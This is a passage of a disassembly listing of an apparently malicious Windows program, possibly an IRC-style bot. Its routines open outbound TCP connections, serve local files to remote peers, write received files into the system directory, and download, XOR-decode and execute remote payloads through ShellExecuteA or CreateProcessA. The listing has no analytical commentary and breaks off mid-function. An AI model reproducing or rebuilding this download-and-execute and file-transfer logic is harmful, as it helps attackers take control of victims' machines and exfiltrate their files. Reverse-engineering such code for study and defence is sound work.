lea eax, [ebp+var_2EC]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
lea eax, [ebp+var_2EC]
push eax
call sub_40F927
add esp, 18h
loc_4103C7: ; CODE XREF: sub_410279+C9j
push ebx
call sub_414F40
pop ecx
jmp short loc_410410
; ---------------------------------------------------------------------------
loc_4103D0: ; CODE XREF: sub_410279+65j
lea eax, [ebp+var_EC]
push eax
lea eax, [ebp+var_2EC]
push dword ptr [esi-4]
push offset dword_442D6C
push eax
call sub_417CB0
push edi
lea eax, [ebp+var_2EC]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
lea eax, [ebp+var_2EC]
push eax
call sub_40F927
add esp, 28h
loc_410410: ; CODE XREF: sub_410279+5Bj
; sub_410279+9Cj ...
push [ebp+var_4]
call dword_4D6644 ; RegCloseKey
add esi, 18h
lea eax, [esi-0Ch]
cmp [eax], edi
jnz loc_4102A4
pop esi
pop ebx
loc_410429: ; CODE XREF: sub_410279+19j
pop edi
leave
retn
sub_410279 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41042C proc near ; CODE XREF: sub_4104B2+33p
; sub_410A18+BCp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4D66E8 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_4104A8
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_417700
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4D6668 ; ntohs
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4D66A8 ; inet_addr
cmp eax, esi
jnz short loc_41048D
push [ebp+arg_0]
call dword_4D66EC ; gethostbyname
test eax, eax
jz short loc_4104A8
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_41048D: ; CODE XREF: sub_41042C+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4D6610 ; connect
cmp eax, esi
jnz short loc_4104AC
push edi
call dword_4D6700 ; closesocket
loc_4104A8: ; CODE XREF: sub_41042C+1Bj
; sub_41042C+58j
mov eax, esi
jmp short loc_4104AE
; ---------------------------------------------------------------------------
loc_4104AC: ; CODE XREF: sub_41042C+73j
mov eax, edi
loc_4104AE: ; CODE XREF: sub_41042C+7Ej
pop edi
pop esi
leave
retn
sub_41042C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4104B2 proc near ; DATA XREF: sub_401C87+9EDo
var_11B4 = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_4181D0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push [ebp+var_14]
xor esi, esi
inc esi
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_41042C
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_410545
lea eax, [ebp+var_11B4]
push offset unk_442D84
push eax
call sub_417CB0
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_410528
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_40764A
add esp, 14h
loc_410528: ; CODE XREF: sub_4104B2+59j
lea eax, [ebp+var_11B4]
push eax
call sub_40F927
push [ebp+var_10]
call sub_409979
pop ecx
pop ecx
push esi
call dword_4E03A0 ; ExitThread
loc_410545: ; CODE XREF: sub_4104B2+3Fj
push offset dword_4DD3CC
push ebx
call sub_413DAC
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4105B0
lea eax, [ebp+var_11B4]
push offset unk_442DA8
push eax
call sub_417CB0
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_41058C
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_40764A
add esp, 14h
loc_41058C: ; CODE XREF: sub_4104B2+BDj
lea eax, [ebp+var_11B4]
push eax
call sub_40F927
pop ecx
push ebx
call dword_4D6700 ; closesocket
push [ebp+var_10]
call sub_409979
pop ecx
push esi
call dword_4E03A0 ; ExitThread
loc_4105B0: ; CODE XREF: sub_4104B2+A3j
push 64h
call dword_4E033C ; Sleep
xor edi, edi
mov esi, 1000h
loc_4105BF: ; CODE XREF: sub_4104B2+168j
push esi
lea eax, [ebp+var_11B4]
push edi
push eax
call sub_417700
add esp, 0Ch
lea eax, [ebp+var_11B4]
push edi
push esi
push eax
push ebx
call dword_4D6680 ; recv
test eax, eax
jle short loc_41061C
lea eax, [ebp+var_11B4]
push offset asc_442DD8 ; "\n"
push eax
call sub_418880
lea eax, [ebp+var_11B4]
push eax
call sub_413B98
add esp, 0Ch
test eax, eax
jz short loc_41061C
push 64h
call dword_4E033C ; Sleep
push 0Ah
call sub_4098A5
test eax, eax
pop ecx
jnz short loc_4105BF
loc_41061C: ; CODE XREF: sub_4104B2+130j
; sub_4104B2+154j
lea eax, [ebp+var_11B4]
push offset unk_442DDC
push eax
call sub_417CB0
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_41064F
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_40764A
add esp, 14h
loc_41064F: ; CODE XREF: sub_4104B2+180j
lea eax, [ebp+var_11B4]
push eax
call sub_40F927
pop ecx
push ebx
call dword_4D6700 ; closesocket
push [ebp+var_10]
call sub_409979
pop ecx
push edi
call dword_4E03A0 ; ExitThread
sub_4104B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410673 proc near ; DATA XREF: sub_401C87+3726o
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_3FC = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1E0 = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
xor ebx, ebx
xor esi, esi
inc ebx
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_10], esi
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call dword_4D66E8 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_4106C1
push offset unk_442E10
jmp loc_41087A
; ---------------------------------------------------------------------------
loc_4106C1: ; CODE XREF: sub_410673+42j
push 10h
lea eax, [ebp+var_30]
push esi
push eax
call sub_417700
add esp, 0Ch
mov [ebp+var_30], 2
push esi
call dword_4D6668 ; ntohs
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+var_30]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call dword_4D6694 ; bind
test eax, eax
jz short loc_4106FF
push offset unk_442E34
jmp loc_41087A
; ---------------------------------------------------------------------------
loc_4106FF: ; CODE XREF: sub_410673+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_30]
push eax
push edi
call dword_4D660C ; getsockname
push [ebp+var_2E]
call dword_4D6598 ; ntohs
mov [ebp+var_4], eax
lea eax, [ebp+var_1E0]
push eax
mov [ebp+arg_0], esi
call sub_414EC0
pop ecx
loc_410731: ; CODE XREF: sub_410673+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+var_1E0]
cmp al, 20h
jnz short loc_410744
push 5Fh
pop eax
jmp short loc_410747
; ---------------------------------------------------------------------------
loc_410744: ; CODE XREF: sub_410673+CAj
movsx eax, al
loc_410747: ; CODE XREF: sub_410673+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+var_1E0]
inc ecx
push eax
mov [ebp+arg_0], ecx
call sub_414EC0
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_410731
push ebx
push edi
call dword_4D6690 ; listen
test eax, eax
jz short loc_41077A
push offset unk_442E58
jmp loc_41087A
; ---------------------------------------------------------------------------
loc_41077A: ; CODE XREF: sub_410673+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+var_1E0]
push 80000000h
push eax
call dword_4E03D8 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_4107A4
push offset unk_442E7C
jmp loc_41087A
; ---------------------------------------------------------------------------
loc_4107A4: ; CODE XREF: sub_410673+125j
push esi
push eax
call dword_4E03D4 ; GetFileSize
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_408882
pop ecx
push eax
call dword_4D66A8 ; inet_addr
push eax
call dword_4D6664 ; ntohl
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset dword_442E9C
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_3FC]
push esi
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_40764A
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call dword_4D6650 ; select
test eax, eax
jg short loc_410854
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_442EB4
push eax
push [ebp+var_1FC]
call sub_40764A
jmp loc_410978
; ---------------------------------------------------------------------------
loc_410854: ; CODE XREF: sub_410673+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call dword_4D66FC ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_41088D
push offset unk_442ECC
loc_41087A: ; CODE XREF: sub_410673+49j
; sub_410673+87j ...
lea eax, [ebp+var_3FC]
push eax
call sub_417CB0
pop ecx
pop ecx
jmp loc_41097B
; ---------------------------------------------------------------------------
loc_41088D: ; CODE XREF: sub_410673+200j
push edi
call dword_4D6700 ; closesocket
cmp [ebp+arg_0], esi
jz loc_41093F
mov edi, 400h
loc_4108A2: ; CODE XREF: sub_410673+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_4108AF
mov [ebp+var_4], eax
loc_4108AF: ; CODE XREF: sub_410673+237j
push edi
lea eax, [ebp+var_A04]
push esi
push eax
call sub_417700
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call dword_4E03F0 ; SetFilePointer
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call dword_4E03B8 ; ReadFile
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call dword_4D66B8 ; send
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call dword_4D6680 ; recv
cmp eax, ebx
jl loc_4109D4
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_4109D4
sub [ebp+arg_0], eax
jnz loc_4108A2
mov edi, [ebp+var_18]
loc_41093F: ; CODE XREF: sub_410673+224j
push [ebp+var_8]
call dword_4E032C ; CloseHandle
push [ebp+var_C]
push [ebp+var_10]
call sub_411169
pop ecx
pop ecx
push eax
push [ebp+var_44]
call dword_4D66F4 ; inet_ntoa
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset unk_442EF0
push eax
call sub_417CB0
loc_410978: ; CODE XREF: sub_410673+1DCj
add esp, 14h
loc_41097B: ; CODE XREF: sub_410673+215j
cmp [ebp+var_50], esi
jnz short loc_4109A0
push esi
lea eax, [ebp+var_3FC]
push [ebp+var_54]
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_40764A
add esp, 14h
loc_4109A0: ; CODE XREF: sub_410673+30Bj
lea eax, [ebp+var_3FC]
push eax
call sub_40F927
cmp edi, esi
pop ecx
jbe short loc_4109B8
push edi
call dword_4D6700 ; closesocket
loc_4109B8: ; CODE XREF: sub_410673+33Cj
push [ebp+var_1F8]
call dword_4D6700 ; closesocket
push [ebp+var_58]
call sub_409979
pop ecx
push esi
call dword_4E03A0 ; ExitThread
loc_4109D4: ; CODE XREF: sub_410673+2AFj
; sub_410673+2BAj
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_442F1C
push eax
push [ebp+var_1FC]
call sub_40764A
push offset dword_442F34
call sub_40F927
add esp, 18h
push [ebp+var_1F8]
call dword_4D6700 ; closesocket
push [ebp+var_58]
call sub_409979
pop ecx
push ebx
call dword_4E03A0 ; ExitThread
sub_410673 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410A18 proc near ; DATA XREF: sub_401C87+78Ao
var_14C4 = byte ptr -14C4h
var_4C4 = byte ptr -4C4h
var_2C4 = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_4181D0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
xor esi, esi
xor ebx, ebx
inc esi
push 104h
mov [eax+1B0h], esi
lea eax, [ebp+var_2C4]
push eax
mov [ebp+var_8], ebx
call dword_4E0338 ; GetSystemDirectoryA
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_2C4]
push offset dword_442F4C
push eax
call sub_417CB0
add esp, 10h
lea eax, [ebp+var_2C4]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call dword_4E03D8 ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_410AA2
push offset unk_442F54
jmp short loc_410AE8
; ---------------------------------------------------------------------------
loc_410AA2: ; CODE XREF: sub_410A18+81j
push eax
call dword_4E032C ; CloseHandle
lea eax, [ebp+var_2C4]
push offset aAB ; "a+b"
push eax
call sub_4176E0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_410ACA
push offset unk_442F88
jmp short loc_410AE8
; ---------------------------------------------------------------------------
loc_410ACA: ; CODE XREF: sub_410A18+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_41042C
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_410AFB
push offset unk_442FB4
loc_410AE8: ; CODE XREF: sub_410A18+88j
; sub_410A18+B0j
lea eax, [ebp+var_4C4]
push eax
call sub_417CB0
pop ecx
pop ecx
jmp loc_410BF5
; ---------------------------------------------------------------------------
loc_410AFB: ; CODE XREF: sub_410A18+C9j
mov esi, 1000h
loc_410B00: ; CODE XREF: sub_410A18+14Ej
push esi
lea eax, [ebp+var_14C4]
push ebx
push eax
call sub_417700
add esp, 0Ch
lea eax, [ebp+var_14C4]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4D6680 ; recv
mov edi, eax
cmp edi, ebx
jz loc_410BC7
cmp edi, 0FFFFFFFFh
jz short loc_410B68
push [ebp+var_4]
lea eax, [ebp+var_14C4]
push edi
push 1
push eax
call sub_41A170
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call dword_4D6664 ; ntohl
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call dword_4D66B8 ; send
jmp short loc_410B00
; ---------------------------------------------------------------------------
loc_410B68: ; CODE XREF: sub_410A18+118j
lea eax, [ebp+var_4C4]
push offset dword_442FD4
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_40764A
lea eax, [ebp+var_4C4]
push eax
call sub_40F927
push [ebp+var_4]
call sub_414F40
add esp, 24h
push [ebp+arg_0]
call dword_4D6700 ; closesocket
push [ebp+var_1C]
call sub_409979
pop ecx
push 1
call dword_4E03A0 ; ExitThread
loc_410BC7: ; CODE XREF: sub_410A18+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_411169
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_4C4]
push offset unk_442FEC
push eax
call sub_417CB0
add esp, 1Ch
loc_410BF5: ; CODE XREF: sub_410A18+DEj
cmp [ebp+var_14], ebx
jnz short loc_410C1A
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_40764A
add esp, 14h
loc_410C1A: ; CODE XREF: sub_410A18+1E0j
lea eax, [ebp+var_4C4]
push eax
call sub_40F927
cmp [ebp+var_4], ebx
pop ecx
jz short loc_410C35
push [ebp+var_4]
call sub_414F40
pop ecx
loc_410C35: ; CODE XREF: sub_410A18+212j
cmp [ebp+arg_0], ebx
jbe short loc_410C43
push [ebp+arg_0]
call dword_4D6700 ; closesocket
loc_410C43: ; CODE XREF: sub_410A18+220j
push [ebp+var_1C]
call sub_409979
pop ecx
push ebx
call dword_4E03A0 ; ExitThread
sub_410A18 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410C53 proc near ; DATA XREF: sub_401C87+4EC0o
; sub_401C87+5321o
var_590 = qword ptr -590h
var_584 = qword ptr -584h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
rep movsd
xor edi, edi
xor esi, esi
inc edi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_4D6618
call dword_4D656C ; InternetOpenUrlA
cmp eax, esi
mov [ebp+var_18], eax
jz loc_4110CC
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
call dword_4E03D8 ; CreateFileA
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_410D1A
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset unk_443018
push eax
call sub_417CB0
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_410CFD
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40764A
add esp, 14h
loc_410CFD: ; CODE XREF: sub_410C53+88j
lea eax, [ebp+var_510]
push eax
call sub_40F927
push [ebp+var_48]
call sub_409979
pop ecx
pop ecx
push esi
call dword_4E03A0 ; ExitThread
loc_410D1A: ; CODE XREF: sub_410C53+68j
xor edi, edi
call dword_4E036C ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_415090
pop ecx
mov [ebp+var_1C], eax
loc_410D34: ; CODE XREF: sub_410C53+1A9j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_417700
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call dword_4D6574 ; InternetReadFile
cmp [ebp+var_34], esi
jz short loc_410D78
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_411132
pop ecx
pop ecx
loc_410D78: ; CODE XREF: sub_410C53+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call dword_4E03B4 ; WriteFile
cmp edi, ebx
jnb short loc_410DB6
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_410DA0
mov eax, [ebp+arg_0]
loc_410DA0: ; CODE XREF: sub_410C53+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call sub_419330
add esp, 0Ch
loc_410DB6: ; CODE XREF: sub_410C53+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_410DC3
cmp edi, [ebp+var_3C]
ja short loc_410E02
loc_410DC3: ; CODE XREF: sub_410C53+169j
mov eax, edi
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_4493A0
cmp [ebp+var_44], 1
jz short loc_410DEB
push offset unk_443040
jmp short loc_410DF0
; ---------------------------------------------------------------------------
loc_410DEB: ; CODE XREF: sub_410C53+18Fj
push offset unk_443068
loc_410DF0: ; CODE XREF: sub_410C53+196j
push eax
call sub_417CB0
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_410D34
loc_410E02: ; CODE XREF: sub_410C53+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_410E57
cmp edi, [ebp+var_3C]
jz short loc_410E57
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset unk_443090
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40764A
lea eax, [ebp+var_510]
push eax
call sub_40F927
add esp, 28h
loc_410E57: ; CODE XREF: sub_410C53+1B9j
; sub_410C53+1BEj
call dword_4E036C ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call dword_4E032C ; CloseHandle
push [ebp+var_1C]
call sub_415C20
cmp [ebp+var_38], esi
pop ecx
jz short loc_410EE1
lea eax, [ebp+var_148]
push eax
call sub_4010AA
cmp eax, [ebp+var_38]
pop ecx
jz short loc_410EE1
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset unk_4430BC
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40764A
lea eax, [ebp+var_510]
push eax
call sub_40F927
add esp, 28h
loc_410EE1: ; CODE XREF: sub_410C53+236j
; sub_410C53+248j
cmp [ebp+var_14], esi
jz loc_411119
cmp [ebp+var_44], 1
push ecx
lea eax, [ebp+var_148]
push ecx
jz loc_410FDC
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_434480
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_434480
fstp [esp+590h+var_590]
push offset unk_4430E4
push eax
call sub_417CB0
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_410F5C
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40764A
add esp, 14h
loc_410F5C: ; CODE XREF: sub_410C53+2E7j
lea eax, [ebp+var_510]
push eax
call sub_40F927
cmp [ebp+var_40], 1
pop ecx
jnz loc_411119
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen_2 ; "open"
push esi
call dword_4D65D4 ; ShellExecuteA
cmp [ebp+var_30], esi
jnz loc_411119
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_443124
push eax
call sub_417CB0
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40764A
lea eax, [ebp+var_510]
push eax
call sub_40F927
add esp, 24h
jmp loc_411119
; ---------------------------------------------------------------------------
loc_410FDC: ; CODE XREF: sub_410C53+2A3j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_434480
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_434480
fstp [esp+590h+var_590]
push offset unk_443140
push eax
call sub_417CB0
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_41103C
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40764A
add esp, 14h
loc_41103C: ; CODE XREF: sub_410C53+3C7j
lea eax, [ebp+var_510]
push eax
call sub_40F927
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_417700
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_417700
add esp, 1Ch
lea eax, [ebp+var_10]
mov [ebp+var_310], edi
xor edi, edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
inc edi
push eax
push esi
mov [ebp+var_304], offset dword_4DD3D0
mov [ebp+var_2E4], edi
mov [ebp+var_2E0], si
call dword_4E0330 ; CreateProcessA
cmp eax, edi
jnz short loc_4110BE
call dword_4D65C0 ; WSACleanup
call sub_411DDE
push esi
call dword_4E0328 ; ExitProcess
loc_4110BE: ; CODE XREF: sub_410C53+457j
lea eax, [ebp+var_148]
push eax
push offset unk_443184
jmp short loc_4110D8
; ---------------------------------------------------------------------------
loc_4110CC: ; CODE XREF: sub_410C53+45j
lea eax, [ebp+var_248]
push eax
push offset unk_4431B8
loc_4110D8: ; CODE XREF: sub_410C53+477j
lea eax, [ebp+var_510]
push eax
call sub_417CB0
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_41110C
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40764A
add esp, 14h
loc_41110C: ; CODE XREF: sub_410C53+497j
lea eax, [ebp+var_510]
push eax
call sub_40F927
pop ecx
loc_411119: ; CODE XREF: sub_410C53+291j
; sub_410C53+31Aj ...
push [ebp+var_18]
call dword_4D669C ; InternetCloseHandle
push [ebp+var_48]
call sub_409979
pop ecx
push esi
call dword_4E03A0 ; ExitThread
sub_410C53 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_411132 proc near ; CODE XREF: sub_410C53+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_41114E
loc_41113E: ; CODE XREF: sub_411132+1Aj
mov dl, byte_437098
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_41113E
locret_41114E: ; CODE XREF: sub_411132+Aj
retn
sub_411132 endp
; =============== S U B R O U T I N E =======================================
sub_41114F proc near ; CODE XREF: sub_401C87+43D0p
; sub_401C87+4599p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41A3D0
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_41114F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411169 proc near ; CODE XREF: sub_40E08D+462p
; sub_40E08D+5FEp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
